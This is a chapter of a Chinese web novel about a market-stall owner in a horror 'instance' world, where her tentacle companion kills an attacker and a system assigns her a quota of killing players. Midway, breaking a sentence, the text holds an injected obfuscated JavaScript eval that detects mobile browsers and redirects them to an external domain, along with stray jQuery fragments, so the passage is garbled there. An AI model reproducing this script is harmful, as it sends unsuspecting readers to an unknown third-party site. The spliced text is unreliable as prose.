时间回到迟归离开后没多久，时与正给一份小丸子挤酱，脑海里“叮”了一声。


    【识别到情绪波动：愤怒（来源关联：迟归）。】


    【已自动转换为营业额：+20元。】


    声音响得突兀。


    时与挤酱的手抖了一下。


    她顿了顿。


    这声音，吵。


    而且，是迟归那边来的。


    她在脑子里，没什么情绪地问了一句：


    “能关了吗？她那边的动静。”


    几乎立刻，一个比平时更冰冷的系统提示音回应了她，不再是直接响在脑海，更像是某种后台指令的反馈：


    【请求收到。已为您关闭与编号暂定‘迟归’的双向系统提示同步。请专注于自身岗位职责】


    “编号暂定‘迟归’？”


    时与没什么表情地拿起海苔罐，撒了上去。


    关了就行。


    刚放下罐子，旁边猛地冲过来一个男人，眼睛赤红，嘴里不清不楚地嚎叫着什么，像是完全失了智，直愣愣就朝着她的推车撞过来！手里还挥舞着一根不知从哪儿掰下来的铁条。


    时与甚至没抬眼看他。


    就在那男人快要撞上推车的刹那——


    噗嗤！


    一条墨绿色的触手如同从推车下方的阴影里疾射而出！


    速度快得只留下一道残影，精准狠戾地直接贯穿了男人的胸膛！


    男人的嚎叫戛然而止，动作僵在半空，眼睛难以置信地凸出，低头看向自己胸口那个突然多出的、正在汩汩冒血的窟窿。


    触手猛地抽出，带出一蓬温热的血点。随即灵活地一卷，缠住男人软塌下来的身体，像扔垃圾一样，随意地将其甩了出去，重重砸在几米外堆着的空筐子上，发出一阵哐里哐当的乱响，再没了动静。


    一切发生在电光石火之间。


    市场里附近的零星几个人瞥见，立刻惊恐地缩回头，不敢再看。


    那条触手迅速缩回，悬停在时与手边。


    它似乎比之前更粗壮了些，墨绿的色泽更深沉，表面那层莹润的光泽也更明显。


    触手的尖端小心翼翼地、甚至带着点讨好意味地，轻轻碰了碰时与正拿着竹签的手背。


    冰凉、滑腻却柔韧的触感。


    像是在说：


    看，我做得多干净利落。快夸我。


    时与低头，看着那节在她手背上轻轻点动的藤蔓尖尖。她没说话，只是伸出另一只手，握住了它。


    触手在她掌心温顺地蜷缩起来，传递过来一种依恋又满足的情绪。


    就在她握住的下一秒——


    【叮——！！！】


    一道截然不同的系统提示音，如同潮水般猛地撞入她的脑海！


    【检测到员工[时与]自主防卫行为，成功清除潜在威胁人员*1。】


    【恭喜员工[时与]达成副本中级员工激活条件：亲手击杀一名玩家。】


    【您已成为[东营菜市场]副本正式监管者（试用期）】


    【您还需击杀3名玩家即可达成本月基础KPI考核。】


    【已为您转接部分副本管理权限，请查收员工手册及KPI考核细则——】


    庞大的信息流不容抗拒地涌入她的意识。


    不再是之前那些零碎的情绪转换提示和营业额计数。


    而是清晰的、条理分明的……工作说明？


    1.【提升自我】：在副本中尽可能吞噬能量、获取道具、提升能力等级或异化程度（风险自担）。变强，是您永恒的归宿！


    2.【清除障碍】：在副本中尽可能多地杀死玩家。玩家=经验包=副本贡献度！杀得越多，评价越高！（注：击杀线索持有者或关键剧情推动玩家有额外加分。）


    【请牢记：您已脱离低级趣味。您的存在，是为了让玩家的恐怖体验更加“深刻”且“难忘”！】


    【祝您在新岗位上大放异彩，为副本的繁荣稳定贡献力量！】


    【——恐怖副本人力资源部敬上】


    信息流冲刷而过。


    时与站在原地，手里还握着那节温凉的藤蔓触手。


    恐怖副本人力资源部？


    KPI？


    员工？我吗？


    她眨了眨眼。厚眼镜片后的目光，落在面前滋滋作响的铁板上，又缓缓扫过不远处那个被触手扔出去、已经悄无声息的男人尸体。


    这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260401|179986||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一次，她没再产生要掏出手机搜索精神病院的念头。


    好像……本该就是这样才对。


    不然，怎么解释这一切？


    那场烧毁一切的大火，她是亲眼见过的。焦黑的断壁残垣，刺鼻的烟味，死一样的寂静。


    所有人在尖叫中迎来死亡，火焰在人的身体里燃烧，黑烟弥漫在空中。


    她的摊位在市场门口，可以轻而易举的逃出，手机停留在拨打消防电话的界面，可那些会给她分享自己摊位的好吃的，会来关照她生意的人，永远地留在了这里。


    可现在，你看。


    市场好好的，棚顶虽然破旧，但没塌。摊位都在，虽然沾着血污。


    人来人往，虽然是在进行着各种诡异血腥的“交易”。


    昨天还来买丸子的阿姨，笑着说起放学的女儿。那些吵着要吃烤肠、抱怨考试没考好的学生……


    她们都“活”得好好的。


    是因为这个……“恐怖副本”吗？


    是它让这片早已死亡的土地又重新“活”了过来？


    用这种光怪陆离、残酷血腥的方式？


    那……


    时与的心跳，忽然沉甸甸地、一下一下，敲在胸腔里。


    一个念头，像藤蔓一样，无声无息地缠绕上来，越收越紧。


    是不是只要她好好地完成这个“KPI”。


    当好这个“员工”。


    这个市场，就会一直这样“热闹”下去？


    那些她熟悉的、模糊记得的、甚至叫不上名字的“邻居”们……


    就会一直这样，“活”着？


    永远？


    她握着藤蔓的手指，无意识地收紧了。


    触手感受到她的情绪，安静地伏在她掌心，不再传递任何讨好的意念，只是温顺地贴合着她的皮肤。


    时与抬起头，目光穿过嘈杂混乱的市场，望向那间深处亮着惨白灯光的管理室。


    她慢慢松开手，藤蔓悄无声息地滑落，缩回推车下的阴影里，仿佛从未出现过。


    她拿起刮刀，开始清理铁板上已经焦糊的残渣。


    动作依旧平稳。


    一下，一下。


    刮得很干净。